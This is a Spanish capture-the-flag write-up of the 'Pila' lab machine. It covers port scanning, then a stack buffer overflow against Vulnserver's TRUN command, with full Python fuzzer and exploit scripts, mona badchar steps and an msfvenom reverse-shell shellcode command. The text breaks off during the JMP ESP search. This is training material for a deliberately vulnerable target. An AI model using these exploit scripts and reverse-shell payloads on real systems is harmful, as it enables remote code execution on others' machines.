Pila - TheHackerLabs
Esta es una máquina que ocupa bastante talacha. Después de realizar los escaneos, vamos a analizar la página web que resulta tener un mensaje en el código fuente. Dicho mensaje nos manda a un directorio de la página web en donde descargamos un binario y un archivo DLL. Investigando y probando el binario, nos damos cuenta de que tenemos que aplicar Buffer Overflow. Realizamos esto utilizando Immunity Debugger, una máquina virtual Windows 7 y la Librería mona.py. Aplicando el Buffer Overflow, ganamos acceso a la máquina como el usuario Administrador.
Herramientas utilizadas:
- ping
- nmap
- nc
- strings
- grep
- Máquina Virtual Windows 7
- Immunity Debugger
- mona.py
- bcdedit.exe
- python3
- pattern_create.rb
- pattern_offset.rb
- msfvenom
- nasm_shell.rb
- rlwrap
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Preparando Laboratorio de Pruebas
- Aplicando Buffer Overflow a Binario vulnserver.exe
- Preparando Binario en Immunity Debbuger
- Cuarto Paso: Aplicando Fuzzing para Detectar Límites del Binario
- Quinto Paso: Identificando el offset del Binario vulnserver.exe
- Sexto Paso: Identificando Ubicación de Representación de Caracteres
- Séptimo Paso: Generación de Bytearrays, Creación de Exploit y Detección de Badchars
- Octavo Paso: Creación de Shellcode y Modificación de Exploit
- Noveno Paso: Busqueda de OpCode para Aplicar un Salto (JMP) al ESP
- Décimo Paso: Aplicando NOPs y Desplazamiento de Pila en Exploit
- Undécimo Paso: Prueba y Ejecución de Exploit
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 13:37 CST
...
...
Nmap scan report for 192.168.1.100
Host is up (0.0023s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
...
...
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.100 XX PCS Systemtechnik GmbH
.
15 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.112 seconds (121.21 hosts/sec). 15 responded
Encontramos nuestro objetivo y es:192.168.1.100
.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=128 time=1.38 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=128 time=0.634 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=128 time=0.733 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=128 time=0.999 ms
--- 192.168.1.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3020ms
rtt min/avg/max/mdev = 0.634/0.937/1.382/0.289 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.100 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 13:39 CST
Initiating ARP Ping Scan at 13:39
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 13:39, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:39
Scanning 192.168.1.100 [65535 ports]
Discovered open port 139/tcp on 192.168.1.100
Discovered open port 445/tcp on 192.168.1.100
Discovered open port 80/tcp on 192.168.1.100
Discovered open port 135/tcp on 192.168.1.100
Discovered open port 49152/tcp on 192.168.1.100
Discovered open port 49153/tcp on 192.168.1.100
Discovered open port 9999/tcp on 192.168.1.100
Discovered open port 49157/tcp on 192.168.1.100
Discovered open port 49154/tcp on 192.168.1.100
Discovered open port 49156/tcp on 192.168.1.100
Discovered open port 49155/tcp on 192.168.1.100
Completed SYN Stealth Scan at 13:40, 37.62s elapsed (65535 total ports)
Nmap scan report for 192.168.1.100
Host is up, received arp-response (0.0017s latency).
Scanned at 2025-02-13 13:39:52 CST for 38s
Not shown: 47090 closed tcp ports (reset), 18434 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
9999/tcp open abyss syn-ack ttl 128
49152/tcp open unknown syn-ack ttl 128
49153/tcp open unknown syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128
49155/tcp open unknown syn-ack ttl 128
49156/tcp open unknown syn-ack ttl 128
49157/tcp open unknown syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 37.89 seconds
Raw packets sent: 176289 (7.757MB) | Rcvd: 47107 (1.884MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay pocos puertos abiertos de los que podamos investigar, me parece que la intrusión será por la página web, pero es curioso el puerto 9999.
Escaneo de Servicios
nmap -sCV -p 80,135,139,445,9999,49152,49153,49154,49155,49156,49157 192.168.1.100 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 13:41 CST
Stats: 0:00:53 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 36.36% done; ETC: 13:44 (0:01:33 remaining)
Nmap scan report for 192.168.1.100
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.0
|_http-title: 404: archivo o directorio no encontrado.
|_http-server-header: Microsoft-IIS/7.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
9999/tcp open vulnserver Vulnserver
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:0:2:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-13T19:42:41
|_ start_date: 2025-02-13T11:29:39
|_clock-skew: 2s
|_nbstat: NetBIOS name: WIN-LVJNVVHBWSR, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.89 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Me da curiosidad que la página web muestre un error en el escaneo. Además, parece que el servicio SMB no pide credenciales para poder entrar.
Y más curioso es el puerto 9999 que lo muestra como vulnserver, quizá podamos conectarnos a este servidor.
Pero primero, vamos a ver la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Pues si verdad, marca un error.
Si revisamos el código fuente, encontraremos algo interesante:
Parece ser una ruta.
Vayamos a verla:
Parece que de aquí podemos descargar unos archivos, entre ellos un binario.
Descarguemos el binario y el DLL, los necesitaremos más adelante.
Analizando Puerto 9999 y Binario vulnserver.exe Obtenido de Página Web
Si recordamos, hay un puerto activo con un servidor que se llama vulnserver, mismo nombre que tiene el binario.
Vamos a tratar de conectarnos a ese servidor usando netcat:
nc 192.168.1.100 9999
Welcome to Vulnerable Server! Enter HELP for help.
Bien, pudimos conectarnos.
Veamos qué comandos podemos usar:
nc 192.168.1.100 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
Son bastantes.
Solo ejecutemos uno para ver que sucede:
STATS
UNKNOWN COMMAND
No ocurre nada.
Parece que estamos contra una máquina a la que podremos aplicar Buffer Overflow.
Para comprobarlo, vamos a buscar funciones del lenguaje C y C++ que son vulnerables dentro del binario.
Lo haremos viendo el contenido del binario con el comando strings y buscando las funciones vulnerables comunes con grep:
strings vulnserver/vulnserver.exe | grep -E "strcpy|sprintf|gets|scanf|memcpy|strcat"
memcpy
strcpy
_memcpy
_strcpy
__imp__memcpy
__imp__strcpy
Excelente, es muy probable que podamos aplicar Buffer Overflow.
Te diría que revisáramos los otros servicios, pero ya te digo que debemos aplicar Buffer Overflow si o sí.
Explotación de Vulnerabilidades
Preparando Laboratorio de Pruebas
Esto será un poco largo, ya que tendremos que realizar un laboratorio de pruebas con distintas herramientas.
Esto es lo que necesitaras:
- Máquina virtual Windows 7: Windows 7 Premium
- Herramienta Immunity Debugger: Repositorio de kbandla: Immunity Debugger
- Script mona.py: Repositorio de corelan: mona.py
Primero debemos preparar la máquina virtual y después instalamos lo demás.
Preparando Máquina Virtual Windows 7
La instalación es muy simple, pero lo importante es que debes recordar el usuario y contraseña que elijas.
Debes escoger la red Home Network:
Puede que se vea muy chica la pantalla, por lo que puedes mejorar cambiando la resolución de la pantalla:
Además, algo opcional es que puedes descargar Chrome para trabajar mejor, pero eso ya es a tu criterio.
Debemos desactivar el FireWall de Windows como lo muestro en la siguiente imagen:
Por último, vamos a desactivar el DEP (Data Execution Prevention), no sin antes dejar su definición:
DEP (Data Execution Prevention) |
---|
Es una característica de seguridad que protege contra ataques de ejecución de código en memoria. Su objetivo es evitar que un atacante ejecute código malicioso en regiones de memoria destinadas solo a datos, como la pila (stack) o el montículo (heap). |
Para desactivarlo, usa el siguiente comando en una CMD de administrador:
bcdedit.exe /set {current} nx AlwaysOff
Y reinicia la máquina.
Instalando Immunity Debbuger
Antes que nada, ¿qué es Immunity Debugger?
Immunity Debugger |
---|
Immunity Debugger es un depurador (debugger) de Windows diseñado específicamente para análisis de vulnerabilidades, exploit development y debugging de aplicaciones en modo usuario. Fue desarrollado por Immunity Inc. y combina un depurador gráfico con un potente motor de scripting en Python. |
Una vez reiniciada, vamos a descargar la última versión que viene en el repositorio que compartí arriba.
Cuando lo ejecutemos, nos dirá que tenemos que tener instalado Python 2.7 que no será necesario, ya que se instalara cuando terminemos de instalar el Immunity Debbuger:
Tan solo debemos aceptar la licencia de uso y no hay que mover nada más:
Observa que terminando, nos pedirá permiso para instalar Python 2.7, así que sigue el wizard de instalación:
Y con esto, la instalación queda lista.
Instalando Librería mona.py
Puedes descargar el script desde GitHub o puedes copiar el código en un archivo de texto y luego cambiar la extensión a Python desde una CMD:
Una vez que lo tengas, debemos moverlo a la siguiente ruta que puede variar, aunque normalmente es la de Program Files (x86): C:/Program File o Program Files (x86)/Immunity Inc/Immunity Debbuger/PyCommands
.
Y con esto, nuestro laboratorio está listo, ya solo debes pasar el binario a tu máquina virtual Windows 7 y podemos comenzar a hacer pruebas.
Aplicando Buffer Overflow a Binario vulnserver.exe
Al igual que con la máquina Fawkes, estos son los pasos que yo considero, son los que se deben aplicar para realizar un Buffer Overflow:
- Primero: Identificar si un archivo encontrado es un binario.
- Segundo: Estudiar y analizar su funcionamiento.
- Tercer: Confirmar vulnerabilidad con herramienta Immunity Debbuger.
- Cuarto: Aplicar Fuzzing para detectar límites del binario.
- Quinto: Identificar el offset.
- Sexto: Identificar en qué parte de la memoria se están representando los caracteres introducidos.
- Séptimo: Generación de Bytearrays, creación de Exploit e identificación de badchars.
- Octavo: Creación de Shellcode malicioso y modificación de Exploit.
- Noveno: Búsqueda de OpCode JMP ESP.
- Décimo: Aplicación de NOPs y/o desplazamiento de pila.
- Undécimo: Prueba y ejecución de Exploit.
Los pasos pueden variar un poco.
En este momento ya realizamos el primer, segundo y tercer paso.
Por lo que vamos a comenzar con el tercer paso y de ahí en adelante.
Preparando Binario en Immunity Debbuger
Vamos a ejecutar el binario en nuestra máquina Windows 7:
Puedes comprobar que se activa en el puerto 9999, conectándote desde tu máquina con netcat.
Abre Immunity Debugger como administrador:
Vamos a adjuntar el proceso del binario desde la pestaña File, luego seleccionamos la opción Attach y escogemos el proceso del binario:
Observa lo que pasa:
Cada vez que realices este proceso, debemos iniciar el proceso:
Recuerda bien este proceso, ya que lo repetiremos varias veces.
Cuarto Paso: Aplicando Fuzzing para Detectar Límites del Binario
Ahora bien, la idea es aplicar Fuzzing para descubrir en qué momento se crashea el binario.
Podemos hacerlo con 2 opciones, la primera es utilizar el spiker que hice en la máquina Fawks, pero modificado, o la segunda, utilizando los scripts de un repositorio específico para explotar este binario.
Primero lo haremos con mi script y luego con el spiker del repositorio.
Ahora probemos con mi script:
#!/usr/bin/python3
import socket
import argparse
def parse_arguments():
parser = argparse.ArgumentParser(description="Script para fuzzear binarios")
parser.add_argument("--ip-addr", required=True, help="Dirección IP a utilizar")
parser.add_argument("--port", type=int, required=True, help="Puerto a utilizar")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--length", type=int, help="Cantidad de A's a enviar")
group.add_argument("--payload", type=str, help="Payload a enviar (texto)")
return parser.parse_args()
def exploit(ip, port, length, payload):
try:
# Creando conexión vía TCP/IP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
print(f"\n[+] Conectando a {ip}:{port}...\n")
s.connect((ip, port))
# Recibiendo banner
banner = s.recv(1024)
print(f"\n[+] Recibiendo Banner: \n------\n{banner.decode('utf-8', errors='ignore')}\n------\n")
# Enviando payload, ya sea A's o uno del usuario
if length:
payload_bytes = b"TRUN /.:/" + (b"A" * length) + b'\r\n'
elif payload:
payload_bytes = b"TRUN /.:/" + payload.encode() + b'\r\n'
print(f"[*] Payload Enviado: {payload_bytes}\n")
s.send(payload_bytes)
# Intentar recibir respuesta (manejar error si el servidor ya crasheó
try:
response = s.recv(1024)
print(f"\n[+] Respuesta del servidor: {response.decode('utf-8', errors='ignore')}\n")
except socket.timeout:
print("\n[!] No hay respuesta, el servidor podría haber crasheado.")
# Manejo de errores
except socket.error as e:
print(f"[!] Error de conexión: {e}")
except Exception as e:
print(f"[!] Ocurrio un error: {e}")
# Cerrando la conexión
finally:
s.close()
print("\n[+] Cerrando conexión.")
if __name__ == '__main__':
args = parse_arguments()
exploit(args.ip_addr, args.port, args.length, args.payload)
Ha sido modificado para que tramite A’s o un payload del usuario en conjunto al comando TRUN que utiliza el binario, esto porque este comando es el que lo crashea.
Probemos:
python3 spiker.py --ip-addr 192.168.1.100 --port 9999 --length 5900
[+] Conectando a 192.168.1.100:9999...
[+] Recibiendo Banner:
------
Welcome to Vulnerable Server! Enter HELP for help.
------
[*] Payload Enviado: b'TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...AAA\r\n'
[!] No hay respuesta, el servidor podría haber crasheado.
[+] Cerrando conexión.
Y podemos ver que se crashea:
Descarga el repo en tu máquina, ya que los otros scripts quizá los ocupemos:
Una vez que lo tengas, utiliza el script 1-fuzzer.py. Le debes indicar la IP de tu máquina virtual:
python3 1-fuzzer.py
Enter the IP address of the target: 192.168.1.100
Fuzzing vulnserver with 1 bytes
Fuzzing vulnserver with 100 bytes
Fuzzing vulnserver with 300 bytes
Fuzzing vulnserver with 500 bytes
Fuzzing vulnserver with 700 bytes
Fuzzing vulnserver with 900 bytes
Fuzzing vulnserver with 1100 bytes
Fuzzing vulnserver with 1300 bytes
Fuzzing vulnserver with 1500 bytes
Fuzzing vulnserver with 1700 bytes
Fuzzing vulnserver with 1900 bytes
Fuzzing vulnserver with 2100 bytes
Fuzzing vulnserver with 2300 bytes
Fuzzing vulnserver with 2500 bytes
Fuzzing vulnserver with 2700 bytes
Fuzzing vulnserver with 2900 bytes
Fuzzing vulnserver with 3100 bytes
Fuzzing vulnserver with 3300 bytes
Fuzzing vulnserver with 3500 bytes
Fuzzing vulnserver with 3700 bytes
Fuzzing vulnserver with 3900 bytes
Fuzzing vulnserver with 4100 bytes
Fuzzing vulnserver with 4300 bytes
Fuzzing vulnserver with 4500 bytes
Fuzzing vulnserver with 4700 bytes
Fuzzing vulnserver with 4900 bytes
Fuzzing vulnserver with 5100 bytes
Fuzzing vulnserver with 5300 bytes
Fuzzing vulnserver with 5500 bytes
Fuzzing vulnserver with 5700 bytes
Fuzzing vulnserver with 5900 bytes
Parece que crashea a los 5900 bytes.
Y observa el Immunity Debugger:
Nos indica que el binario se crasheo y podemos ver que se tramitaron muchas A’s.
Quinto Paso: Identificando el offset del Binario vulnserver.exe
Desde aquí, podemos identificar el offset que es el número exacto de bytes que necesitas para sobrescribir el EIP.
Podemos generar un patrón de distintos caracteres para que sea más fácil identificar el offset.
Para esto, vamos a usar una herramienta de Metasploit pattern_create.rb para generar 5900 bytes aleatorios que mandaremos al binario para crashearlo.
Los mandaremos al binario para que se crashee y luego copiaremos el EIP resultante, para que con la herramienta de Metasploit pattern_offset.rb, podamos descubrir la cantidad exacta de bytes que debemos usar para crashear el binario.
Empecemos por crear los 5900 bytes aleatorios:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4...
...
...
...
Mandamos el payload utilizando mi script:
python3 spiker.py --ip-addr 192.168.1.100 --port 9999 --payload "Aa0Aa1Aa2Aa3Aa4Aa5...
[+] Conectando a 192.168.1.100:9999...
[+] Recibiendo Banner:
------
Welcome to Vulnerable Server! Enter HELP for help.
------
[*] Payload Enviado: b'TRUN /.:/Aa0Aa1Aa2Aa3....
[!] No hay respuesta, el servidor podría haber crasheado.
[+] Cerrando conexión.
Observa el resultado en el Immunity Debugger:
Vamos a copiar el EIP y usaremos pattern_offset.rb para descubrir la cantidad exacta de bytes que debemos usar:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 386F4337
[*] Exact match at offset 2003
Parece que solo necesitamos 2003 bytes.
Vamos a comprobarlo:
python3 spiker.py --ip-addr 192.168.1.100 --port 9999 --length 2003
[+] Conectando a 192.168.1.100:9999...
[+] Recibiendo Banner:
------
Welcome to Vulnerable Server! Enter HELP for help.
------
[*] Payload Enviado: b'TRUN /.:/AAAAAAAAAAAAAAAAAAAAAA....AAAAAAA\r\n'
[!] No hay respuesta, el servidor podría haber crasheado.
[+] Cerrando conexión.
Y listo, hemos crasheado el binario con la cantidad exacta de bytes:
Observa como el EIP y el EBP y como se ve un poco vacío a diferencia de las otras pruebas.
Sexto Paso: Identificando Ubicación de Representación de Caracteres
Recordemos que estos registros son los que nos importan, pues son los registros de CPU hacia los cuales se puede dirigir el Buffer Overflow y ejecutar las instrucciones a bajo nivel que deseamos:
- EIP: indica la siguiente dirección de memoria que el ordenador debería ejecutar.
- EAX: almacena temporalmente cualquier dirección de retorno.
- EBX: almacena datos y direcciones de memoria.
- ESI: contiene la dirección de memoria de los datos de entrada.
- ESP: se usa para referenciar el inicio de un hilo.
- EBP: indica la dirección de memoria del final de un hilo.
Más específicos, nos interesan estos dos: EIP, EBP y ESP.
Podemos confirmar que, después del offset, se reescribe el EIP y luego se escriben más caracteres.
Con Python, podemos generar varios caracteres para cumplir con el offset, sobreescribir el EIP y registrar n cantidad de caracteres después:
python3 -c 'print("A"*2003 + "B"*4 + "C"*100)'
Y vamos a mandar este payload usando mi script:
python3 spiker.py --ip-addr 192.168.1.100 --port 9999 --payload "AAAAAAAAAAAAAAA....AAAAAAAAABBBBCCCCC..."
[+] Conectando a 192.168.1.100:9999...
[+] Recibiendo Banner:
------
Welcome to Vulnerable Server! Enter HELP for help.
------
[*] Payload Enviado: b'TRUN /.:/AAAAAAAAAAAAAAAAAAAAA.....AAAAAAAABBBBCCCCC...CCCC\r\n'
[!] No hay respuesta, el servidor podría haber crasheado.
[+] Cerrando conexión.
Observa el Immunity Debugger:
Ve que el EBP muestra A’s y el EIP muestra las B’s. Con esto ya vimos que pudimos sobreescribir el EIP.
Ahora probemos con el 3er script, que ya tiene la cantidad exacta de bytes para sobreescribir el EIP:
python 3-overwriteEIP.py
Enter the server IP address: 192.168.1.100
Fuzzing with TRUN command 2007 bytes
Y observa el Immunity Debugger:
Nota que si se sobreescribe el EIP.
Séptimo Paso: Generación de Bytearrays, Creación de Exploit y Detección de Badchars
Primero, vamos a entender estos dos conceptos: Bytearrays y Badchars.
¿Qué son los Bytearrays?
Bytearrays |
---|
Un bytearray es una secuencia de bytes que puede modificarse. Se utiliza para manejar datos binarios en lugar de cadenas de texto. En Python, los bytearray son especialmente útiles para manipular exploits, shellcodes y datos en bruto. |
¿Qué son los Badchars?
Badchars |
---|
Los Badchars (o caracteres problemáticos) son bytes específicos que pueden romper la ejecución de un exploit o shellcode. Estos caracteres pueden interferir en la inyección de código o causar errores inesperados en una aplicación vulnerable. |
La idea, es generar diferentes Bytearrays de casi todos los caracteresm desde Immunity Debugger con mona.py y con estos, identificar las Badchars que el binario no logra interpretar.
Vamos a generar los Bytearrays.
Desde Immunity Debugger, vamos a crear un espacio de trabajo con tal de tener un orden.
Desde la barra de comandos, comprobamos que está instalado el módulo mona.py:
Sí está instalado.
Ahora, ejecutamos el siguiente comando que va a usar un directorio para guardar los Bytearrays:
!mona config -set workingfolder C:\Users\tu_usuario\Desktop\directorio_que_quieras
Ahora, vamos a generar los Bytearrays, eliminando un null byte que nos puede dar problemas si lo dejamos, con el siguiente comando:
!mona bytearray -cpb '\x00'
Ya los tenemos.
Copia el archivo de los Bytearrays en tu máquina o solamente copia los bytes que se muestran en el archivo.
Vamos a empezar a generar nuestro Exploit, para poder mandar esos bytes y crashear el binario (esto ya está hecho en el script 4 del repositorio que descargamos antes, así que puedes usar ese en lugar de mi script).
Debería quedar así:
#!/usr/bin/python3
import socket
# Variables globales
ip_addr = "IP_máquina_windows"
port = 9999
offset = 2003
before_eip = b"A"*offset
eip = b"B"*4
shellcode = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
after_eip = shellcode
payload = b"TRUN /.:/" + before_eip + eip + after_eip
def exploit():
# Creando conexión y enviando shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip_addr, port))
# Recibiendo banner
banner = s.recv(1024)
print(f"\n[+] Recibiendo Banner: \n------\n{banner.decode('utf-8', errors='ignore')}\n------\n")
# Enviando payload
s.send(payload)
# Respuesta de servidor
response = s.recv(1024)
print(f"\n[+] Respuesta del servidor: {response.decode('utf-8', errors='ignore')}\n")
# Cerrando conexión
s.close()
if __name__ == '__main__':
exploit()
Ya que lo tengas, ejecútalo.
Bien, podemos ver que crasheo el binario.
Podemos ver los bytes que mandamos.
Vamos a seleccionar el ESP, le damos click derecho y le damos a la opción Follow in Dump para ver los bytes que enviamos:
Y ahí están los Bytearrays:
Con esto, puedes ir comparando este resultado con el archivo bytearrays.txt para encontrar las Badchars, pero eso es muy tardado, por lo que vamos a usar mona.py para encontrarlos.
Tan simple es como indicarle que vamos a hacer una comparación (compare
) de los bytes almacenados en el ESP (-a 0xESP_Copiado
) y los Bytearrays que creamos (C:\Path_byte_arrays\bytearray.bin
).
Que, en este caso, se resume al siguiente comando:
!mona compare -a 0xESP_Copiado -f C:\Users\Tu_usuario\Desktop\directorio_de_trabajo\bytearray.bin
Excelente, no hay Badchars.
En caso de que hubieran existido Badchars, tan solo tendríamos que generar otro archivo de Bytearrays, eliminando el Badchar como lo hicimos con el null byte.
Luego tendríamos que probar de nuevo, pues justo queremos que no existan Badchars.
Octavo Paso: Creación de Shellcode y Modificación de Exploit
Vamos a iniciar la creación de nuestro Shellcode que vamos a inyectar y la creación del Exploit.
Primero, vamos a crear nuestro Shellcode:
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=Tu_IP LPORT=443 -f c -e x86/shikata_ga_nai -b '\x00' EXITFUNC=thread
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xdb\xcd\xd9\x74\x24\xf4\xba\x7a\xe1\xd9\x25\x5e\x31\xc9"
"\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x2c\xf2\x3b\xd0\x2c"
...
...
...
Le indicamos a msfvenom lo siguiente:
Parámetros | Descripción |
---|---|
-p windows/shell_reverse_tcp |
Usa un payload para Windows que nos de una Reverse Shell. |
--platform windows -a x86 |
El payload será para Windows de arquitectura (-a) x86. |
-f c |
El payload será hecho para código C. |
-e x86/shikata_ga_nai |
Usamos el encoder polimórfico shikata ga nai (esto lo hace por defecto, pero es bueno especificarlo). |
-b '\x00' |
Le indicamos que elimine un byte en específico. |
EXITFUNC=thread |
Le indicamos que cree un subproceso para que el servicio siga operativo. |
Ponemos el resultante en nuestro Exploit, quedando así:
#!/usr/bin/python3
import socket
# Variables globales
ip_addr = "IP_máquina_windows"
port = 9999
offset = 2003
before_eip = b"A"*offset
eip = b"B"*4
shellcode = (b"\xdb\xcd\xd9\x74\x24\xf4\xba\x7a\xe1\xd9\x25\x5e\x31\xc9"
b"\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x2c\xf2\x3b\xd0\x2c"
...
...
...
after_eip = shellcode
payload = b"TRUN /.:/" + before_eip + eip + after_eip
def exploit():
# Creando conexión y enviando shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip_addr, port))
# Recibiendo banner
banner = s.recv(1024)
print(f"\n[+] Recibiendo Banner: \n------\n{banner.decode('utf-8', errors='ignore')}\n------\n")
# Enviando payload
s.send(payload)
# Respuesta de servidor
response = s.recv(1024)
print(f"\n[+] Respuesta del servidor: {response.decode('utf-8', errors='ignore')}\n")
# Cerrando conexión
s.close()
if __name__ == '__main__':
exploit()
Bien, ya estamos muy cerca de terminar.
Noveno Paso: Busqueda de OpCode para Aplicar un Salto (JMP) al ESP
Recordemos que es un OpCode:
Operation Code |
---|
El opcode (abreviatura de “operation code” o código de operación) es una parte fundamental de una instrucción en lenguaje máquina. Es el segmento de la instrucción que le dice a la CPU qué operación debe realizar. |
Necesitamos buscar un OpCode dentro del binario que nos ayude a escribir nuestro Shellcode para que se pueda ejecutar la Reverse Shell.
Para esto, usamos el EIP para que apunte a una dirección de memoria donde se aplique un OpCode, para que realice un salto (JMP) al ESP, que es donde queremos que se aplique el Shellcode.
Esto se le conoce como JMP ESP.
Una herramienta que podemos ocupar es nasm_shell de Metasploit Framework.
Podemos invocarla usando su ruta completa /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
y le indicamos que busque él JMP ESP
:
